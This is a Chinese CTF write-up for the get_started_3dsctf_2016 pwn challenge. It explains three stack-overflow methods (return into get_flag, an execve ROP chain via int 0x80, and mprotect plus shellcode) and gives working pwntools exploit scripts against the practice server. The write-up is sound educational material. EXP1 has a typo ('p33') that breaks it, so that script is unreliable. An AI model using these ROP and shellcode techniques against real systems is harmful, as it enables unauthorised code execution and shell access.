get_started_3dsctf_2016

发布时间 2023-07-28 22:30:35作者: lmarch2

0x00

最近持续学习栈溢出,努力熟悉各种利用方法,争取这周和下周把栈溢出这块结束

发现自己的WP好久没有更新了,BUUCTF也攒了好多

于是,为了让自己更进一步熟悉栈溢出攻击,温故知新,同时方便自己查找(希望不是浪费时间),WP补完计划,启动!

(我可不是看了孙导的奖励临时起意的)

0x01

IDA分析

``

方法一:传统栈溢出

可以看到main函数并没有ebp,寻址方式是esp寻址

get_flag函数中,在读取flag之前先经过if判断a1 == 814536271 && a2 == 425138641

构造pay时不可以试图跳过这个判断,无法打通

返回地址一定要覆盖为get_flag函数的开始处

在栈上构造get_flag参数

payload = b'a' * 0x38+p32(get_flag_addr)+p32(exit_addr)+p32(a1)+p32(a2)

注意这里的返回地址为exit的地址,打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出

EXP1

from pwn import *
context(os = 'linux', arch = 'i386', log_level = 'debug')
#p = process('./get_started_3dsctf_2016')
p = remote('node4.buuoj.cn',25669)

get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = b'a' * 0x38+p32(get_flag_addr)+p33(exit_addr)+p32(a1)+p32(a2)
p.sendline(payload)
p.interactive()

0x02

方法二:系统调用

利用ROPgadget找到需要的gadget

pop_eax_ret = 0x080b91e6

pop_edx_ecx_ebx_ret = 0x0806fc30

int80 = 0x0806d7e5

但是没有找到"/bin/sh"字符串,考虑在其他寄存器写入/bin/sh,再赋值给edx

看看有没有类似的mov指令

mov_edx_eax_ret = 0x080557ab

你猜猜我mov_edx_eax_ret怎么找的(裂开)

可以看到,该处指令mov [edx], eax 是将eax寄存器里的值写到eedx所存的地址处[edx],攻击的思路就是讲[edx]地址覆盖为/bin/sh写入地址,并利用eax寄存器将字符串/bin/sh存入。

需要注意的是,该程序没有给出可用的bss段变量,栈空间一般情况下开启ASLR地址随机,所以我们用vmmap查找可读的内存空间作为入/bin/sh的地址

这篇参考的链接,使用0x080eb020 作为存放/bin/sh的地址,但是使用vmmap可以看到没有以这个地址开头或结束的段,而且也不存在可写可执行的段,只有0x80ea000到0x80ec000是可写的文件段(实际上0x080eb020 也在该段中)

补充一下,同时其实我们可以看出来vmmap出来的地址段是没有libc中的内容的,实际上get_started_3dsctf_2016是静态链接

整体的rop流程为,分两次每次四字节将"/bin" "/sh\x00"先存入eax,再利用Pop将edx置为0x80ea000,再利用mov指令将字符串放入该地址指向空间,最后返回系统调用

from pwn import *

local = 0
if local == 1:
    io = process('./get_started_3dsctf_2016')
else:
    io = remote('node4.buuoj.cn',25878)

pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int80 = 0x0806d7e5
mov_edx_eax_ret = 0x080557ab
w_addr = 0x80ea000#0x080eb020
payload = b'a'*56+p32(pop_eax_ret)+b'/bin'+p32(pop_edx_ecx_ebx_ret)+p32(w_addr)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+b'/sh\x00'+p32(pop_edx_ecx_ebx_ret)+p32(w_addr+4)+p32(0)+p32(0)+p32(mov_edx_eax_ret)
payload += p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(w_addr)+p32(int80)
io.sendline(payload)

io.interactive()
~                              

0x03

方法三:mprotect函数修改地址权限

利用mprotect()函数来修改内存权限,一般是将.bss端修改为可读可写可执行,然后通过read()函数向目标内存写入shellcode,然后getshell (因为是静态链接的,所有的函数都会链接到程序,肯定会存在一个mprotect()函数 )

include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。

len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
这里的参数prot:
r:4
w:2
x:1

我们通过vmmap可以看到0x080ea000到0x080ec000是可读可写但是不可执行的(开了NX保护),所以用mprotect()将这一段修改成可读可写可执行,然后通过read()传shellcode到此处

需要注意的是mprotect指定的内存区间必须包含整个内存页(4K),并且区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍(0x1000=4096)

我们知道32位调用函数不需要寄存器传参,但是我们需要用pop,ret来控制程序运行流程, 用 ROPgadget 随便选一个有三个寄存器加一个ret的gadget

from pwn import *
elf = ELF('./get_started_3dsctf_2016')
sh = remote('node4.buuoj.cn',27364)
#sh = process('./get_started_3dsctf_2016')
context(os = 'linux', arch = 'i386', log_level = 'debug' , endian = 'little') #小端序,linux系统,32位架构,debug

mprotect = 0x0806EC80
buf_addr = 0x80eb000   #要修改的内存页首地址
buf_size = 0x1000      #要修改的内存页大小
buf_prot = 0x7         #要修改的权限

pop_3_ret = 0x08063adb  #寄存器传参外加ret返回read函数地址 
#0x08063adb : pop edi ; pop esi ; pop ebx ; ret

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
read_addr = 0x0806E140

payload = b'a'*0x38
payload += p32(mprotect)  #先将返回地址覆盖为mprotect函数地址

payload += p32(pop_3_ret)  #通过三个寄存器传参再加上ret返回栈上下一个函数地址
payload += p32(buf_addr)    #要修改的内存页首地址
payload += p32(buf_size)    #要修改的内存页大小
payload += p32(buf_prot)    #要修改的权限

payload += p32(read_addr)  #ret返回栈上下一个函数地址为read函数地址
payload += p32(buf_addr)    #read函数的返回地址
payload += p32(0)           #read函数的第一个参数
payload += p32(buf_addr)    #read函数的第二个参数
payload += p32(0x100)    #read函数的第三个参数
sh.sendline(payload)    

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')   
sh.sendline(shellcode)      #read函数输入buf_addr的字符串

sh.interactive()

0x04

参考文章

1 2 3 4 5 6